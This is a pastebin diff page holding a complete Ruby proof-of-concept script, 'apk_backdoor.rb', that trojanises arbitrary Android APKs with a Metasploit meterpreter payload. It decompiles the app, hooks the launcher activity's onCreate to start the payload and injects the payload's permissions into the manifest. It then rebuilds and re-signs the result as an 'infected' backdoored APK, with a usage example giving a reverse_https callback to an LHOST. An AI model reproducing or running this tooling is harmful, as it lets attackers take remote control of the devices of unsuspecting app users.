View difference between Paste ID: RtXdBmfb and uh0hRWR7
SHOW: | | - or go back to the newest paste.
1
#!/usr/bin/env ruby
2
# apk_backdoor.rb
3
# This script is a POC for injecting metasploit payloads on 
4
# arbitrary APKs.
5
# Authored by timwr, Jack64
6
# Dependency: gem install nokogiri
7
8
9
require 'nokogiri'
10
require 'fileutils'
11
require 'optparse'
12
13
# Find the activity thatapk_backdoor.rb  is opened when you click the app icon
14
def findlauncheractivity(amanifest)
15
    package = amanifest.xpath("//manifest").first['package']
16
    activities = amanifest.xpath("//activity|//activity-alias")
17
    for activity in activities 
18
        activityname = activity.attribute("name")
19
        category = activity.search('category')
20
        unless category
21
            next
22
        end
23
        for cat in category
24
            categoryname = cat.attribute('name')
25
            if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN')
26
                activityname = activityname.to_s
27
                unless activityname.start_with?(package)
28
                    activityname = package + activityname
29
                end
30
                return activityname
31
            end
32
        end
33
    end
34
end
35
36
# If XML parsing of the manifest fails, recursively search
37
# the smali code for the onCreate() hook and let the user
38
# pick the injection point
39
def scrapeFilesForLauncherActivity()
40
	smali_files||=[]
41
	Dir.glob('original/smali*/**/*.smali') do |file|
42
	  checkFile=File.read(file)
43
	  if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V")
44
		smali_files << file
45
		smalifile = file
46
		activitysmali = checkFile
47
	  end
48
	end
49
	i=0
50
	print "[*] Please choose from one of the following:\n"
51
	smali_files.each{|s_file|
52
		print "[+] Hook point ",i,": ",s_file,"\n"
53
		i+=1
54
	}
55
	hook=-1
56
	while (hook < 0 || hook>i)
57
		print "\nHook: "
58
		hook = STDIN.gets.chomp.to_i
59
	end
60
	i=0
61
	smalifile=""
62
	activitysmali=""
63
	smali_files.each{|s_file|
64
		if (i==hook)
65
			checkFile=File.read(s_file)
66
			smalifile=s_file
67
			activitysmali = checkFile
68
			break
69
		end
70
		i+=1
71
	}
72
	return [smalifile,activitysmali]
73
end
74
75
def fix_manifest()
76
	payload_permissions=[]
77
	
78
	#Load payload's permissions
79
	File.open("payload/AndroidManifest.xml","r"){|file|
80
		k=File.read(file)
81
		payload_manifest=Nokogiri::XML(k)
82
		permissions = payload_manifest.xpath("//manifest/uses-permission")
83
		for permission in permissions
84
			name=permission.attribute("name")
85
			payload_permissions << name.to_s
86
		end
87
	#	print "#{k}"
88
	}
89
	original_permissions=[]
90
	apk_mani=''
91
	
92
	#Load original apk's permissions
93
	File.open("original/AndroidManifest.xml","r"){|file2|
94
		k=File.read(file2)
95
		apk_mani=k
96
		original_manifest=Nokogiri::XML(k)
97
		permissions = original_manifest.xpath("//manifest/uses-permission")
98
		for permission in permissions
99
			name=permission.attribute("name")
100
			original_permissions << name.to_s
101
		end
102
	#	print "#{k}"
103
	}
104
	#Get permissions that are not in original APK
105
	add_permissions=[]
106
	for permission in payload_permissions
107
		if !(original_permissions.include? permission)
108
			print "[*] Adding #{permission}\n"
109
			add_permissions << permission
110
		end
111
	end
112
	inject=0
113
	new_mani=""
114
	#Inject permissions in original APK's manifest
115
	for line in apk_mani.split("\n")
116
		if (line.include? "uses-permission" and inject==0)
117
			for permission in add_permissions
118
				new_mani << '<uses-permission android:name="'+permission+'"/>'+"\n"
119
			end
120
			new_mani << line+"\n"
121
			inject=1
122
		else
123
			new_mani << line+"\n"
124
		end
125
	end
126
	File.open("original/AndroidManifest.xml", "w") {|file| file.puts new_mani }
127
end
128
129
apkfile = ARGV[0]
130
unless(apkfile && File.readable?(apkfile))
131
	puts "Usage: #{$0} [target.apk] [msfvenom options]\n"
132
	puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443"
133
	exit(1)
134
end
135
136
jarsigner = `which jarsigner`
137
unless(jarsigner && jarsigner.length > 0)
138
	puts "No jarsigner"
139
	exit(1)
140
end
141
142
apktool = `which apktool`
143
unless(apktool && apktool.length > 0)
144
	puts "No apktool"
145
	exit(1)
146
end
147
148
apk_v=`apktool`
149
unless(apk_v.split()[1].include?("v2."))
150
	puts "[-] Apktool version #{apk_v} not supported, please download the latest 2. version from git.\n"
151
	exit(1)
152
end
153
154
begin
155
	msfvenom_opts = ARGV[1,ARGV.length]
156
	opts=""
157
	msfvenom_opts.each{|x|
158
	opts+=x
159
	opts+=" "
160
	}
161
rescue
162
	puts "Usage: #{$0} [target.apk] [msfvenom options]\n"
163
	puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443"
164
	puts "[-] Error parsing msfvenom options. Exiting.\n"
165
	exit(1)
166
end
167
168
169
170
print "[*] Generating msfvenom payload..\n"
171
res=`msfvenom -f raw #{opts} -o payload.apk 2>&1`
172
if res.downcase.include?("invalid" || "error")
173
	puts res
174
	exit(1)
175
end
176
177
print "[*] Signing payload..\n"
178
`jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA payload.apk androiddebugkey`
179
180
`rm -rf original`
181
`rm -rf payload`
182
183
`cp #{apkfile} original.apk`
184
185
print "[*] Decompiling orignal APK..\n"
186
`apktool d $(pwd)/original.apk -o $(pwd)/original`
187
print "[*] Decompiling payload APK..\n"
188
`apktool d $(pwd)/payload.apk -o $(pwd)/payload`
189
190
f = File.open("original/AndroidManifest.xml")
191
amanifest = Nokogiri::XML(f)
192
f.close
193
194
print "[*] Locating onCreate() hook..\n"
195
196
197
launcheractivity = findlauncheractivity(amanifest)
198
smalifile = 'original/smali/' + launcheractivity.gsub(/\./, "/") + '.smali'
199
begin
200
	activitysmali = File.read(smalifile)
201
rescue Errno::ENOENT
202
	print "[!] Unable to find correct hook automatically\n"
203
	begin
204
		results=scrapeFilesForLauncherActivity()
205
		smalifile=results[0]
206
		activitysmali=results[1]
207
	rescue
208
		puts "[-] Error finding launcher activity. Exiting"
209
		exit(1)
210
	end
211
end
212
213
print "[*] Copying payload files..\n"
214
FileUtils.mkdir_p('original/smali/com/metasploit/stage/')
215
FileUtils.cp Dir.glob('payload/smali/com/metasploit/stage/Payload*.smali'), 'original/smali/com/metasploit/stage/'
216
activitycreate = ';->onCreate(Landroid/os/Bundle;)V'
217
payloadhook = activitycreate + "\n    invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V"
218
hookedsmali = activitysmali.gsub(activitycreate, payloadhook)
219
print "[*] Loading ",smalifile," and injecting payload..\n"
220
File.open(smalifile, "w") {|file| file.puts hookedsmali }
221
injected_apk=apkfile.split(".")[0]
222
injected_apk+="_backdoored.apk"
223
224
print "[*] Poisoning the manifest with meterpreter permissions..\n"
225
fix_manifest()
226
227
print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}..\n"
228
`apktool b -o $(pwd)/#{injected_apk} $(pwd)/original`
229
print "[*] Signing #{injected_apk} ..\n"
230
`jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey`
231
232
puts "[+] Infected file #{injected_apk} ready.\n"